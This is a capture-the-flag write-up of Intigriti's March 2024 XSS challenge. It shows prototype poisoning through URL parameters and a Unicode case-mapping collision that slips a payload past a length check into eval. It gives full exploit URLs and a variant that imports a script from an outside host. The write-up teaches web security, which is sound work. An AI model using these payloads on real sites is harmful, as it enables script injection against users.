🧠
Intigriti Monthly Challenges
Intigriti
  • Homepage
  • 0425: HackDonalds
  • 0325: Leaky Flagment
  • 0125: Particle Generator
  • 1224: Fireplace Generator
  • 1124: 1337UP LIVE CTF
  • 0824: Safe Notes
  • 0724: Memo Sharing
  • 0524: Quadratic Equation Solver
  • 0424: BarSpacing Skills
  • 0324: Contact Form
  • 0224: Love Letter
  • 0124: Repo Woes
  • 1223: Smartypants Revenge
  • 1123: 1337UP LIVE CTF
  • 1023: Pseudonym Generator
  • 0923: Secure Database
  • 0823: Pure Functional Math Calculator
  • 0723: Video-to-Audio Converter
  • 0623: Protocapture
  • 0523: It’s Fun to Review the E.C.M.A
  • 0423: We Like to Sell Bricks
  • 0323: Incomplete Secure Notes Application
  • 0223: Leek NFT
  • 0123: Friends Search Engine
  • 1222: Christmas Blog
  • 1122: Secure Vault
  • 1022: Secure Notes
  • 0922: 8 Ball
  • 0822: Business Card Generator
  • 0722: Awesome Kitty Blog
  • 0622: Recipe
  • 0522: Pollution
  • 0422: Window Maker
  • 0322: Hashing
  • 0222: Extremely Short Scripting Game
  • 0122: Super Secure HTML Viewer
  • 1221: Christmas Special
  • 1121: OWASP Top 10
  • 1021: Halloween Has Taken Over
  • 0921: Password Manager
  • 0821: XSS Cookbook
Powered by GitBook
On this page
  • Video Walkthrough
  • Challenge Description
  • Useful Resources
  • Solution
  • XSS
  • Prototype Poisoning
  • Client-side Overflow (Unicode Collision)
  • Unintended / Interesting Solutions
  • Fuzzing Unicode Characters
  • Arbitrary JS Execution
  • Community Writeups

0324: Contact Form

Writeup for the Intigriti March 2024 challenge 💥

Previous0424: BarSpacing SkillsNext0224: Love Letter

Last updated 9 months ago

Name
Authors
Category

XSS, Prototype Poisoning, Unicode Case Mapping Collision

Video Walkthrough

Challenge Description

Find a way to execute an alert(1337) utilising XSS on the challenge page and win Intigriti swag.

Useful Resources

Solution

XSS

Reviewing index.html, we have a basic contact info form. If we check the source, there's some JS. Starting with a runCmdToken function.

function runCmdToken(cmd) {
    if (!user["token"] || user["token"].length != 32) {
        return;
    }
    var str = `${user["token"]}${cmd}(hash)`.toLowerCase();
    var hash = str.slice(0, 32);
    var cmd = str.slice(32);
    eval(cmd);
}

The eval function will execute the cmd, but there are a few steps/conditions. The user token must be 32 characters long, and then a string will be compiled. The hash and cmd are sliced from the string, and the resulting command will be evaluated.

Before reviewing the rest of the code, let's see what this looks like in a debugger. I set a breakpoint at line 49, entered the token cat, and clicked "input" and then "info."

str: 5eca9bd3eb07c006cd43ae48dfde7fd3alert(hash) hash: d077f244def8a70e5ea758bd8352fcd8 cmd: alert(hash)

An alert pops with the hash! Wow, look at that.. We're already halfway there and haven't done anything yet 😆 All we need to do is replace that hash with 1337. How might we go about it?

We can't modify the token value directly because the following function is hashing our input.

if (tokenParam) {
    handleInputToken(tokenParam);
}

function handleInputToken(inp) {
    var hash = CryptoJS.MD5(inp).toString();
    user["token"] = `${hash}`;
}

Prototype Poisoning

We've tested the "set token" form, but what's the "contact info" form doing?

function handleInputName(name, contact, value) {
    user[name] = { [contact]: value };
}

const urlParams = new URLSearchParams(window.location.search);

const nameParam = urlParams.get("setName");
const contactParam = urlParams.get("setContact");
const valueParam = urlParams.get("setValue");
const tokenParam = urlParams.get("setToken");
const runContactInfo = urlParams.get("runContactInfo");
const runTokenInfo = urlParams.get("runTokenInfo");

if (nameParam && contactParam && valueParam) {
    handleInputName(nameParam, contactParam, valueParam);
}

The nameParam, contactParam, and valueParam are passed to the handleInputName function. Let's say we provide cat, email, and crypto@cat, the result will look like this:

user['cat'] = {'email': 'crypto@cat'}

Prototype poisoning is distinguished from pollution by the limitation that the parent object prototypes are immutable. The attacker can only affect the input object and children that inherit its prototype. Therefore the availability, attack methodology and impact are different. Prototype inheritance is an unavoidable JavaScript functionality.

If we now provide __proto__, token and 1337 as our "set contact info" values, the resulting user object will be poisoned.

user['__proto__'] = {'token': '1337'}

Checking the console, user.token is now set to 1337 (Note that token is undefined since this is poisoning, not pollution)! The alert doesn't pop, though. Rechecking the source, we see the condition for runCmdToken.

if (runTokenInfo) {
    runCmdToken("alert");
}

So let's try https://challenge-0324.intigriti.io/challenge/index.html?setName=proto&setContact=token&setValue=1337&runTokenInfo=1

It still doesn't pop, but remember this other condition?

if (!user["token"] || user["token"].length != 32) {
    return;
}

Let's try a 32-character token: https://challenge-0324.intigriti.io/challenge/index.html?setName=proto&setContact=token&setValue=13371337133713371337133713371337&runTokenInfo=1

Client-side Overflow (Unicode Collision)

There is a problem with the use of toLowerCase() in the following line.

var str = `${user["token"]}${cmd}(hash)`.toLowerCase();

Some Unicode characters are vulnerable to Case Mapping Collisions, when two different characters are uppercased or lowercased into the same character

They provide a simple PoC that you can test for yourself in the browser console.

"ß".toUpperCase() == "SS";
true;

The PoC is a good starting point, but notice it is for toUpperCase(); our challenge uses toLowerCase().

"ß".toLowerCase();
("ß");

So, we need to find some other Unicode character for our case mapping collision attack, e.g.

"İ".toLowerCase();
("i̇");
c4 b0
69

Therefore, if we supply (16 * İ) + 16 char payload, it will pass the initial length checks since it's 32 characters.

However, once it's converted to lowercase, it will become a 48-byte string: (32 * i) + 16 char payload.

The next lines will separate the values using a slice operation. The iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii will land in the hash variable, and our 16-byte XSS payload will end up in the cmd variable.

However, our payload is only 11 characters.

alert(1337);

Since 16 + 11 = 27, it's not the 32 character token we need 🤔

No worries! We can add some padding by inserting a comment at the end 😏

alert(1337); //cat

Putting everything together, we have the following payload https://challenge-0324.intigriti.io/challenge/index.html?setName=proto&setContact=token&setValue=İİİİİİİİİİİİİİİİalert(1337)//cat&runTokenInfo=1 which triggers our intended alert(1337) 😎

Unintended / Interesting Solutions

Fuzzing Unicode Characters

for (let i = 0; i < 1000000; ++i) {
    const c = String.fromCodePoint(i);
    const c_upper = c.toLowerCase();
    if (c.length != c_upper.length) {
        console.log(`${i} - "${c}".toLowerCase() => "${c_upper}"`);
    }
}

Note that there is only a single result.

304 - "İ".toLowerCase() => "i̇"

Arbitrary JS Execution

The monthly challenge usually requires players to execute arbitrary JS, proved with alert(document.domain). The goal was set at alert(1337) in this case due to the length restrictions on the payload. However, several players did find their way around this!

İİİİİİİİİİİİİİİİimport(/\\NJ.₨/);

The payload imports a script from nj.rs, which triggers the alert.

javascript: alert(document.domain), 1;

Community Writeups

There's a vulnerability here since user-controllable properties are being merged into an existing object, without first sanitising the keys. The vulnerability is similar to , but there is a crucial distinction.

The alert pops with 13371337133713371337133713371337. Many players opted to use to make it look like the correct payload, but this was rejected as an invalid solution - we need ^1337$ 😁

The second example from describes the issue.

Notice that if we convert İ to hex, .

Whereas, if we convert i to hex, .

Some players used a script to find valid Unicode chars, e.g., here's one from

Here's an example from

prototype poisoning
prototype pollution
null chars, spaces, tabs, etc
this article
it is 2 bytes
it is 1 byte
ZePacifist
mysterican
j0r1an
0xalessandro
smickovskid
siss3l
ivarsVids
z4ki
Intigriti March Challenge (2024)
m0z
XSS cheatsheet
Prototype pollution
Prototype poisoning
Unicode injection
Weaponizing unicode (case mapping collision)